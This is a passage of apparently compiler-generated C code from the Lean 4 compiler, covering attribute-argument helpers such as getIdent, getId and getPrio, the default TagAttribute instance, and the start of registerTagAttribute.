x_16 = lean_alloc_ctor(1, 1, 0);
lean_ctor_set(x_16, 0, x_15);
x_17 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_17, 0, x_16);
lean_ctor_set(x_17, 1, x_4);
return x_17;
}
}
else
{
lean_object* x_18; lean_object* x_19; lean_object* x_20; lean_object* x_21;
lean_dec(x_5);
lean_dec(x_3);
lean_dec(x_2);
x_18 = lean_unsigned_to_nat(1u);
x_19 = l_Lean_Syntax_getArg(x_1, x_18);
lean_dec(x_1);
x_20 = lean_alloc_ctor(1, 1, 0);
lean_ctor_set(x_20, 0, x_19);
x_21 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_21, 0, x_20);
lean_ctor_set(x_21, 1, x_4);
return x_21;
}
}
else
{
lean_object* x_22; lean_object* x_23; uint8_t x_24;
lean_dec(x_5);
lean_dec(x_3);
lean_dec(x_2);
x_22 = lean_unsigned_to_nat(1u);
x_23 = l_Lean_Syntax_getArg(x_1, x_22);
lean_dec(x_1);
x_24 = l_Lean_Syntax_isNone(x_23);
if (x_24 == 0)
{
lean_object* x_25; lean_object* x_26; uint8_t x_27;
x_25 = lean_unsigned_to_nat(0u);
x_26 = l_Lean_Syntax_getArg(x_23, x_25);
lean_dec(x_23);
x_27 = l_Lean_Syntax_isIdent(x_26);
if (x_27 == 0)
{
lean_object* x_28; lean_object* x_29;
lean_dec(x_26);
x_28 = lean_box(0);
x_29 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_29, 0, x_28);
lean_ctor_set(x_29, 1, x_4);
return x_29;
}
else
{
lean_object* x_30; lean_object* x_31;
x_30 = lean_alloc_ctor(1, 1, 0);
lean_ctor_set(x_30, 0, x_26);
x_31 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_31, 0, x_30);
lean_ctor_set(x_31, 1, x_4);
return x_31;
}
}
else
{
lean_object* x_32; lean_object* x_33;
lean_dec(x_23);
x_32 = lean_box(0);
x_33 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_33, 0, x_32);
lean_ctor_set(x_33, 1, x_4);
return x_33;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_throwError___at_Lean_Attribute_Builtin_getIdent_x3f___spec__2___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5;
x_5 = l_Lean_throwError___at_Lean_Attribute_Builtin_getIdent_x3f___spec__2(x_1, x_2, x_3, x_4);
lean_dec(x_3);
lean_dec(x_2);
return x_5;
}
}
LEAN_EXPORT lean_object* l_Lean_throwError___at_Lean_Attribute_Builtin_getIdent___spec__2(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5; lean_object* x_6; uint8_t x_7;
x_5 = lean_ctor_get(x_2, 5);
x_6 = l_Lean_addMessageContextPartial___at_Lean_Core_instAddMessageContextCoreM___spec__1(x_1, x_2, x_3, x_4);
x_7 = !lean_is_exclusive(x_6);
if (x_7 == 0)
{
lean_object* x_8; lean_object* x_9;
x_8 = lean_ctor_get(x_6, 0);
lean_inc(x_5);
x_9 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_9, 0, x_5);
lean_ctor_set(x_9, 1, x_8);
lean_ctor_set_tag(x_6, 1);
lean_ctor_set(x_6, 0, x_9);
return x_6;
}
else
{
lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13;
x_10 = lean_ctor_get(x_6, 0);
x_11 = lean_ctor_get(x_6, 1);
lean_inc(x_11);
lean_inc(x_10);
lean_dec(x_6);
lean_inc(x_5);
x_12 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_12, 0, x_5);
lean_ctor_set(x_12, 1, x_10);
x_13 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_13, 0, x_12);
lean_ctor_set(x_13, 1, x_11);
return x_13;
}
}
}
LEAN_EXPORT lean_object* l_Lean_throwErrorAt___at_Lean_Attribute_Builtin_getIdent___spec__1(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5) {
_start:
{
uint8_t x_6;
x_6 = !lean_is_exclusive(x_3);
if (x_6 == 0)
{
lean_object* x_7; lean_object* x_8; lean_object* x_9;
x_7 = lean_ctor_get(x_3, 5);
x_8 = l_Lean_replaceRef(x_1, x_7);
lean_dec(x_7);
lean_dec(x_1);
lean_ctor_set(x_3, 5, x_8);
x_9 = l_Lean_throwError___at_Lean_Attribute_Builtin_getIdent___spec__2(x_2, x_3, x_4, x_5);
lean_dec(x_4);
lean_dec(x_3);
return x_9;
}
else
{
lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13; lean_object* x_14; lean_object* x_15; lean_object* x_16; lean_object* x_17; lean_object* x_18; lean_object* x_19; lean_object* x_20; lean_object* x_21; lean_object* x_22; lean_object* x_23;
x_10 = lean_ctor_get(x_3, 0);
x_11 = lean_ctor_get(x_3, 1);
x_12 = lean_ctor_get(x_3, 2);
x_13 = lean_ctor_get(x_3, 3);
x_14 = lean_ctor_get(x_3, 4);
x_15 = lean_ctor_get(x_3, 5);
x_16 = lean_ctor_get(x_3, 6);
x_17 = lean_ctor_get(x_3, 7);
x_18 = lean_ctor_get(x_3, 8);
x_19 = lean_ctor_get(x_3, 9);
x_20 = lean_ctor_get(x_3, 10);
lean_inc(x_20);
lean_inc(x_19);
lean_inc(x_18);
lean_inc(x_17);
lean_inc(x_16);
lean_inc(x_15);
lean_inc(x_14);
lean_inc(x_13);
lean_inc(x_12);
lean_inc(x_11);
lean_inc(x_10);
lean_dec(x_3);
x_21 = l_Lean_replaceRef(x_1, x_15);
lean_dec(x_15);
lean_dec(x_1);
x_22 = lean_alloc_ctor(0, 11, 0);
lean_ctor_set(x_22, 0, x_10);
lean_ctor_set(x_22, 1, x_11);
lean_ctor_set(x_22, 2, x_12);
lean_ctor_set(x_22, 3, x_13);
lean_ctor_set(x_22, 4, x_14);
lean_ctor_set(x_22, 5, x_21);
lean_ctor_set(x_22, 6, x_16);
lean_ctor_set(x_22, 7, x_17);
lean_ctor_set(x_22, 8, x_18);
lean_ctor_set(x_22, 9, x_19);
lean_ctor_set(x_22, 10, x_20);
x_23 = l_Lean_throwError___at_Lean_Attribute_Builtin_getIdent___spec__2(x_2, x_22, x_4, x_5);
lean_dec(x_4);
lean_dec(x_22);
return x_23;
}
}
}
static lean_object* _init_l_Lean_Attribute_Builtin_getIdent___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("unexpected attribute argument, identifier expected", 50);
return x_1;
}
}
static lean_object* _init_l_Lean_Attribute_Builtin_getIdent___closed__2() {
_start:
{
lean_object* x_1; lean_object* x_2;
x_1 = l_Lean_Attribute_Builtin_getIdent___closed__1;
x_2 = l_Lean_stringToMessageData(x_1);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_Attribute_Builtin_getIdent(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5;
lean_inc(x_3);
lean_inc(x_2);
lean_inc(x_1);
x_5 = l_Lean_Attribute_Builtin_getIdent_x3f(x_1, x_2, x_3, x_4);
if (lean_obj_tag(x_5) == 0)
{
lean_object* x_6;
x_6 = lean_ctor_get(x_5, 0);
lean_inc(x_6);
if (lean_obj_tag(x_6) == 0)
{
lean_object* x_7; lean_object* x_8; lean_object* x_9;
x_7 = lean_ctor_get(x_5, 1);
lean_inc(x_7);
lean_dec(x_5);
x_8 = l_Lean_Attribute_Builtin_getIdent___closed__2;
x_9 = l_Lean_throwErrorAt___at_Lean_Attribute_Builtin_getIdent___spec__1(x_1, x_8, x_2, x_3, x_7);
return x_9;
}
else
{
uint8_t x_10;
lean_dec(x_3);
lean_dec(x_2);
lean_dec(x_1);
x_10 = !lean_is_exclusive(x_5);
if (x_10 == 0)
{
lean_object* x_11; lean_object* x_12;
x_11 = lean_ctor_get(x_5, 0);
lean_dec(x_11);
x_12 = lean_ctor_get(x_6, 0);
lean_inc(x_12);
lean_dec(x_6);
lean_ctor_set(x_5, 0, x_12);
return x_5;
}
else
{
lean_object* x_13; lean_object* x_14; lean_object* x_15;
x_13 = lean_ctor_get(x_5, 1);
lean_inc(x_13);
lean_dec(x_5);
x_14 = lean_ctor_get(x_6, 0);
lean_inc(x_14);
lean_dec(x_6);
x_15 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_15, 0, x_14);
lean_ctor_set(x_15, 1, x_13);
return x_15;
}
}
}
else
{
uint8_t x_16;
lean_dec(x_3);
lean_dec(x_2);
lean_dec(x_1);
x_16 = !lean_is_exclusive(x_5);
if (x_16 == 0)
{
return x_5;
}
else
{
lean_object* x_17; lean_object* x_18; lean_object* x_19;
x_17 = lean_ctor_get(x_5, 0);
x_18 = lean_ctor_get(x_5, 1);
lean_inc(x_18);
lean_inc(x_17);
lean_dec(x_5);
x_19 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_19, 0, x_17);
lean_ctor_set(x_19, 1, x_18);
return x_19;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_throwError___at_Lean_Attribute_Builtin_getIdent___spec__2___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5;
x_5 = l_Lean_throwError___at_Lean_Attribute_Builtin_getIdent___spec__2(x_1, x_2, x_3, x_4);
lean_dec(x_3);
lean_dec(x_2);
return x_5;
}
}
LEAN_EXPORT lean_object* l_Lean_Attribute_Builtin_getId_x3f(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5;
x_5 = l_Lean_Attribute_Builtin_getIdent_x3f(x_1, x_2, x_3, x_4);
if (lean_obj_tag(x_5) == 0)
{
lean_object* x_6;
x_6 = lean_ctor_get(x_5, 0);
lean_inc(x_6);
if (lean_obj_tag(x_6) == 0)
{
uint8_t x_7;
x_7 = !lean_is_exclusive(x_5);
if (x_7 == 0)
{
lean_object* x_8; lean_object* x_9;
x_8 = lean_ctor_get(x_5, 0);
lean_dec(x_8);
x_9 = lean_box(0);
lean_ctor_set(x_5, 0, x_9);
return x_5;
}
else
{
lean_object* x_10; lean_object* x_11; lean_object* x_12;
x_10 = lean_ctor_get(x_5, 1);
lean_inc(x_10);
lean_dec(x_5);
x_11 = lean_box(0);
x_12 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_12, 0, x_11);
lean_ctor_set(x_12, 1, x_10);
return x_12;
}
}
else
{
uint8_t x_13;
x_13 = !lean_is_exclusive(x_5);
if (x_13 == 0)
{
lean_object* x_14; uint8_t x_15;
x_14 = lean_ctor_get(x_5, 0);
lean_dec(x_14);
x_15 = !lean_is_exclusive(x_6);
if (x_15 == 0)
{
lean_object* x_16; lean_object* x_17;
x_16 = lean_ctor_get(x_6, 0);
x_17 = l_Lean_Syntax_getId(x_16);
lean_dec(x_16);
lean_ctor_set(x_6, 0, x_17);
return x_5;
}
else
{
lean_object* x_18; lean_object* x_19; lean_object* x_20;
x_18 = lean_ctor_get(x_6, 0);
lean_inc(x_18);
lean_dec(x_6);
x_19 = l_Lean_Syntax_getId(x_18);
lean_dec(x_18);
x_20 = lean_alloc_ctor(1, 1, 0);
lean_ctor_set(x_20, 0, x_19);
lean_ctor_set(x_5, 0, x_20);
return x_5;
}
}
else
{
lean_object* x_21; lean_object* x_22; lean_object* x_23; lean_object* x_24; lean_object* x_25; lean_object* x_26;
x_21 = lean_ctor_get(x_5, 1);
lean_inc(x_21);
lean_dec(x_5);
x_22 = lean_ctor_get(x_6, 0);
lean_inc(x_22);
if (lean_is_exclusive(x_6)) {
lean_ctor_release(x_6, 0);
x_23 = x_6;
} else {
lean_dec_ref(x_6);
x_23 = lean_box(0);
}
x_24 = l_Lean_Syntax_getId(x_22);
lean_dec(x_22);
if (lean_is_scalar(x_23)) {
x_25 = lean_alloc_ctor(1, 1, 0);
} else {
x_25 = x_23;
}
lean_ctor_set(x_25, 0, x_24);
x_26 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_26, 0, x_25);
lean_ctor_set(x_26, 1, x_21);
return x_26;
}
}
}
else
{
uint8_t x_27;
x_27 = !lean_is_exclusive(x_5);
if (x_27 == 0)
{
return x_5;
}
else
{
lean_object* x_28; lean_object* x_29; lean_object* x_30;
x_28 = lean_ctor_get(x_5, 0);
x_29 = lean_ctor_get(x_5, 1);
lean_inc(x_29);
lean_inc(x_28);
lean_dec(x_5);
x_30 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_30, 0, x_28);
lean_ctor_set(x_30, 1, x_29);
return x_30;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_Attribute_Builtin_getId(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5;
x_5 = l_Lean_Attribute_Builtin_getIdent(x_1, x_2, x_3, x_4);
if (lean_obj_tag(x_5) == 0)
{
uint8_t x_6;
x_6 = !lean_is_exclusive(x_5);
if (x_6 == 0)
{
lean_object* x_7; lean_object* x_8;
x_7 = lean_ctor_get(x_5, 0);
x_8 = l_Lean_Syntax_getId(x_7);
lean_dec(x_7);
lean_ctor_set(x_5, 0, x_8);
return x_5;
}
else
{
lean_object* x_9; lean_object* x_10; lean_object* x_11; lean_object* x_12;
x_9 = lean_ctor_get(x_5, 0);
x_10 = lean_ctor_get(x_5, 1);
lean_inc(x_10);
lean_inc(x_9);
lean_dec(x_5);
x_11 = l_Lean_Syntax_getId(x_9);
lean_dec(x_9);
x_12 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_12, 0, x_11);
lean_ctor_set(x_12, 1, x_10);
return x_12;
}
}
else
{
uint8_t x_13;
x_13 = !lean_is_exclusive(x_5);
if (x_13 == 0)
{
return x_5;
}
else
{
lean_object* x_14; lean_object* x_15; lean_object* x_16;
x_14 = lean_ctor_get(x_5, 0);
x_15 = lean_ctor_get(x_5, 1);
lean_inc(x_15);
lean_inc(x_14);
lean_dec(x_5);
x_16 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_16, 0, x_14);
lean_ctor_set(x_16, 1, x_15);
return x_16;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_throwError___at_Lean_getAttrParamOptPrio___spec__2(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5; lean_object* x_6; uint8_t x_7;
x_5 = lean_ctor_get(x_2, 5);
x_6 = l_Lean_addMessageContextPartial___at_Lean_Core_instAddMessageContextCoreM___spec__1(x_1, x_2, x_3, x_4);
x_7 = !lean_is_exclusive(x_6);
if (x_7 == 0)
{
lean_object* x_8; lean_object* x_9;
x_8 = lean_ctor_get(x_6, 0);
lean_inc(x_5);
x_9 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_9, 0, x_5);
lean_ctor_set(x_9, 1, x_8);
lean_ctor_set_tag(x_6, 1);
lean_ctor_set(x_6, 0, x_9);
return x_6;
}
else
{
lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13;
x_10 = lean_ctor_get(x_6, 0);
x_11 = lean_ctor_get(x_6, 1);
lean_inc(x_11);
lean_inc(x_10);
lean_dec(x_6);
lean_inc(x_5);
x_12 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_12, 0, x_5);
lean_ctor_set(x_12, 1, x_10);
x_13 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_13, 0, x_12);
lean_ctor_set(x_13, 1, x_11);
return x_13;
}
}
}
LEAN_EXPORT lean_object* l_Lean_throwErrorAt___at_Lean_getAttrParamOptPrio___spec__1(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5) {
_start:
{
uint8_t x_6;
x_6 = !lean_is_exclusive(x_3);
if (x_6 == 0)
{
lean_object* x_7; lean_object* x_8; lean_object* x_9;
x_7 = lean_ctor_get(x_3, 5);
x_8 = l_Lean_replaceRef(x_1, x_7);
lean_dec(x_7);
lean_dec(x_1);
lean_ctor_set(x_3, 5, x_8);
x_9 = l_Lean_throwError___at_Lean_getAttrParamOptPrio___spec__2(x_2, x_3, x_4, x_5);
lean_dec(x_4);
lean_dec(x_3);
return x_9;
}
else
{
lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13; lean_object* x_14; lean_object* x_15; lean_object* x_16; lean_object* x_17; lean_object* x_18; lean_object* x_19; lean_object* x_20; lean_object* x_21; lean_object* x_22; lean_object* x_23;
x_10 = lean_ctor_get(x_3, 0);
x_11 = lean_ctor_get(x_3, 1);
x_12 = lean_ctor_get(x_3, 2);
x_13 = lean_ctor_get(x_3, 3);
x_14 = lean_ctor_get(x_3, 4);
x_15 = lean_ctor_get(x_3, 5);
x_16 = lean_ctor_get(x_3, 6);
x_17 = lean_ctor_get(x_3, 7);
x_18 = lean_ctor_get(x_3, 8);
x_19 = lean_ctor_get(x_3, 9);
x_20 = lean_ctor_get(x_3, 10);
lean_inc(x_20);
lean_inc(x_19);
lean_inc(x_18);
lean_inc(x_17);
lean_inc(x_16);
lean_inc(x_15);
lean_inc(x_14);
lean_inc(x_13);
lean_inc(x_12);
lean_inc(x_11);
lean_inc(x_10);
lean_dec(x_3);
x_21 = l_Lean_replaceRef(x_1, x_15);
lean_dec(x_15);
lean_dec(x_1);
x_22 = lean_alloc_ctor(0, 11, 0);
lean_ctor_set(x_22, 0, x_10);
lean_ctor_set(x_22, 1, x_11);
lean_ctor_set(x_22, 2, x_12);
lean_ctor_set(x_22, 3, x_13);
lean_ctor_set(x_22, 4, x_14);
lean_ctor_set(x_22, 5, x_21);
lean_ctor_set(x_22, 6, x_16);
lean_ctor_set(x_22, 7, x_17);
lean_ctor_set(x_22, 8, x_18);
lean_ctor_set(x_22, 9, x_19);
lean_ctor_set(x_22, 10, x_20);
x_23 = l_Lean_throwError___at_Lean_getAttrParamOptPrio___spec__2(x_2, x_22, x_4, x_5);
lean_dec(x_4);
lean_dec(x_22);
return x_23;
}
}
}
static lean_object* _init_l_Lean_getAttrParamOptPrio___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("priority expected", 17);
return x_1;
}
}
static lean_object* _init_l_Lean_getAttrParamOptPrio___closed__2() {
_start:
{
lean_object* x_1; lean_object* x_2;
x_1 = l_Lean_getAttrParamOptPrio___closed__1;
x_2 = l_Lean_stringToMessageData(x_1);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_getAttrParamOptPrio(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
uint8_t x_5;
x_5 = l_Lean_Syntax_isNone(x_1);
if (x_5 == 0)
{
lean_object* x_6; lean_object* x_7; lean_object* x_8;
x_6 = lean_unsigned_to_nat(0u);
x_7 = l_Lean_Syntax_getArg(x_1, x_6);
x_8 = l_Lean_Syntax_isNatLit_x3f(x_7);
lean_dec(x_7);
if (lean_obj_tag(x_8) == 0)
{
lean_object* x_9; lean_object* x_10;
x_9 = l_Lean_getAttrParamOptPrio___closed__2;
x_10 = l_Lean_throwErrorAt___at_Lean_getAttrParamOptPrio___spec__1(x_1, x_9, x_2, x_3, x_4);
return x_10;
}
else
{
lean_object* x_11; lean_object* x_12;
lean_dec(x_3);
lean_dec(x_2);
lean_dec(x_1);
x_11 = lean_ctor_get(x_8, 0);
lean_inc(x_11);
lean_dec(x_8);
x_12 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_12, 0, x_11);
lean_ctor_set(x_12, 1, x_4);
return x_12;
}
}
else
{
lean_object* x_13; lean_object* x_14;
lean_dec(x_3);
lean_dec(x_2);
lean_dec(x_1);
x_13 = lean_unsigned_to_nat(1000u);
x_14 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_14, 0, x_13);
lean_ctor_set(x_14, 1, x_4);
return x_14;
}
}
}
LEAN_EXPORT lean_object* l_Lean_throwError___at_Lean_getAttrParamOptPrio___spec__2___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5;
x_5 = l_Lean_throwError___at_Lean_getAttrParamOptPrio___spec__2(x_1, x_2, x_3, x_4);
lean_dec(x_3);
lean_dec(x_2);
return x_5;
}
}
static lean_object* _init_l_Lean_Attribute_Builtin_getPrio___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("unexpected attribute argument, optional priority expected", 57);
return x_1;
}
}
static lean_object* _init_l_Lean_Attribute_Builtin_getPrio___closed__2() {
_start:
{
lean_object* x_1; lean_object* x_2;
x_1 = l_Lean_Attribute_Builtin_getPrio___closed__1;
x_2 = l_Lean_stringToMessageData(x_1);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_Attribute_Builtin_getPrio(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5; lean_object* x_6; uint8_t x_7;
lean_inc(x_1);
x_5 = l_Lean_Syntax_getKind(x_1);
x_6 = l_Lean_Attribute_Builtin_ensureNoArgs___closed__5;
x_7 = lean_name_eq(x_5, x_6);
lean_dec(x_5);
if (x_7 == 0)
{
lean_object* x_8; lean_object* x_9;
x_8 = l_Lean_Attribute_Builtin_getPrio___closed__2;
x_9 = l_Lean_throwErrorAt___at_Lean_getAttrParamOptPrio___spec__1(x_1, x_8, x_2, x_3, x_4);
return x_9;
}
else
{
lean_object* x_10; lean_object* x_11; lean_object* x_12;
x_10 = lean_unsigned_to_nat(1u);
x_11 = l_Lean_Syntax_getArg(x_1, x_10);
lean_dec(x_1);
x_12 = l_Lean_getAttrParamOptPrio(x_11, x_2, x_3, x_4);
return x_12;
}
}
}
static uint32_t _init_l_Lean_instInhabitedTagAttribute___lambda__1___closed__1() {
_start:
{
lean_object* x_1; uint32_t x_2;
x_1 = lean_unsigned_to_nat(0u);
x_2 = lean_uint32_of_nat(x_1);
return x_2;
}
}
static lean_object* _init_l_Lean_instInhabitedTagAttribute___lambda__1___closed__2() {
_start:
{
lean_object* x_1; uint32_t x_2; lean_object* x_3; lean_object* x_4;
x_1 = lean_box(0);
x_2 = l_Lean_instInhabitedTagAttribute___lambda__1___closed__1;
x_3 = l_Lean_instInhabitedAttributeImplCore___closed__1;
x_4 = lean_alloc_ctor(0, 2, 4);
lean_ctor_set(x_4, 0, x_1);
lean_ctor_set(x_4, 1, x_3);
lean_ctor_set_uint32(x_4, sizeof(void*)*2, x_2);
return x_4;
}
}
LEAN_EXPORT lean_object* l_Lean_instInhabitedTagAttribute___lambda__1(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4; lean_object* x_5;
x_4 = l_Lean_instInhabitedTagAttribute___lambda__1___closed__2;
x_5 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_5, 0, x_4);
lean_ctor_set(x_5, 1, x_3);
return x_5;
}
}
LEAN_EXPORT lean_object* l_Lean_instInhabitedTagAttribute___lambda__2(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_inc(x_1);
return x_1;
}
}
LEAN_EXPORT lean_object* l_Lean_instInhabitedTagAttribute___lambda__3(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__6;
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_instInhabitedTagAttribute___lambda__4(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = lean_box(0);
return x_2;
}
}
static lean_object* _init_l_Lean_instInhabitedTagAttribute___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l_Lean_EnvExtensionInterfaceUnsafe_instInhabitedExt___lambda__1), 1, 0);
return x_1;
}
}
static lean_object* _init_l_Lean_instInhabitedTagAttribute___closed__2() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3;
x_1 = lean_unsigned_to_nat(0u);
x_2 = l_Lean_instInhabitedTagAttribute___closed__1;
x_3 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_3, 0, x_1);
lean_ctor_set(x_3, 1, x_2);
return x_3;
}
}
static lean_object* _init_l_Lean_instInhabitedTagAttribute___closed__3() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l_Lean_instInhabitedTagAttribute___lambda__1___boxed), 3, 0);
return x_1;
}
}
static lean_object* _init_l_Lean_instInhabitedTagAttribute___closed__4() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l_Lean_instInhabitedTagAttribute___lambda__2___boxed), 2, 0);
return x_1;
}
}
static lean_object* _init_l_Lean_instInhabitedTagAttribute___closed__5() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l_Lean_instInhabitedTagAttribute___lambda__3___boxed), 1, 0);
return x_1;
}
}
static lean_object* _init_l_Lean_instInhabitedTagAttribute___closed__6() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l_Lean_instInhabitedTagAttribute___lambda__4___boxed), 1, 0);
return x_1;
}
}
static lean_object* _init_l_Lean_instInhabitedTagAttribute___closed__7() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3; lean_object* x_4; lean_object* x_5; lean_object* x_6; lean_object* x_7;
x_1 = l_Lean_instInhabitedTagAttribute___closed__2;
x_2 = lean_box(0);
x_3 = l_Lean_instInhabitedTagAttribute___closed__3;
x_4 = l_Lean_instInhabitedTagAttribute___closed__4;
x_5 = l_Lean_instInhabitedTagAttribute___closed__5;
x_6 = l_Lean_instInhabitedTagAttribute___closed__6;
x_7 = lean_alloc_ctor(0, 6, 0);
lean_ctor_set(x_7, 0, x_1);
lean_ctor_set(x_7, 1, x_2);
lean_ctor_set(x_7, 2, x_3);
lean_ctor_set(x_7, 3, x_4);
lean_ctor_set(x_7, 4, x_5);
lean_ctor_set(x_7, 5, x_6);
return x_7;
}
}
static lean_object* _init_l_Lean_instInhabitedTagAttribute___closed__8() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3;
x_1 = l_Lean_instInhabitedAttributeImpl___closed__3;
x_2 = l_Lean_instInhabitedTagAttribute___closed__7;
x_3 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_3, 0, x_1);
lean_ctor_set(x_3, 1, x_2);
return x_3;
}
}
static lean_object* _init_l_Lean_instInhabitedTagAttribute() {
_start:
{
lean_object* x_1;
x_1 = l_Lean_instInhabitedTagAttribute___closed__8;
return x_1;
}
}
LEAN_EXPORT lean_object* l_Lean_instInhabitedTagAttribute___lambda__1___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4;
x_4 = l_Lean_instInhabitedTagAttribute___lambda__1(x_1, x_2, x_3);
lean_dec(x_2);
lean_dec(x_1);
return x_4;
}
}
LEAN_EXPORT lean_object* l_Lean_instInhabitedTagAttribute___lambda__2___boxed(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3;
x_3 = l_Lean_instInhabitedTagAttribute___lambda__2(x_1, x_2);
lean_dec(x_2);
lean_dec(x_1);
return x_3;
}
}
LEAN_EXPORT lean_object* l_Lean_instInhabitedTagAttribute___lambda__3___boxed(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = l_Lean_instInhabitedTagAttribute___lambda__3(x_1);
lean_dec(x_1);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_instInhabitedTagAttribute___lambda__4___boxed(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = l_Lean_instInhabitedTagAttribute___lambda__4(x_1);
lean_dec(x_1);
return x_2;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_1759_() {
_start:
{
lean_object* x_1;
x_1 = l___auto____x40_Lean_Attributes___hyg_266____closed__29;
return x_1;
}
}
LEAN_EXPORT lean_object* l_Lean_throwError___at_Lean_registerTagAttribute___spec__1(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5; lean_object* x_6; uint8_t x_7;
x_5 = lean_ctor_get(x_2, 5);
x_6 = l_Lean_addMessageContextPartial___at_Lean_Core_instAddMessageContextCoreM___spec__1(x_1, x_2, x_3, x_4);
x_7 = !lean_is_exclusive(x_6);
if (x_7 == 0)
{
lean_object* x_8; lean_object* x_9;
x_8 = lean_ctor_get(x_6, 0);
lean_inc(x_5);
x_9 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_9, 0, x_5);
lean_ctor_set(x_9, 1, x_8);
lean_ctor_set_tag(x_6, 1);
lean_ctor_set(x_6, 0, x_9);
return x_6;
}
else
{
lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13;
x_10 = lean_ctor_get(x_6, 0);
x_11 = lean_ctor_get(x_6, 1);
lean_inc(x_11);
lean_inc(x_10);
lean_dec(x_6);
lean_inc(x_5);
x_12 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_12, 0, x_5);
lean_ctor_set(x_12, 1, x_10);
x_13 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_13, 0, x_12);
lean_ctor_set(x_13, 1, x_11);
return x_13;
}
}
}
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__1(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4; lean_object* x_5;
x_4 = l_Lean_NameSet_empty;
x_5 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_5, 0, x_4);
lean_ctor_set(x_5, 1, x_3);
return x_5;
}
}
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__2(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3; lean_object* x_4;
x_3 = lean_box(0);
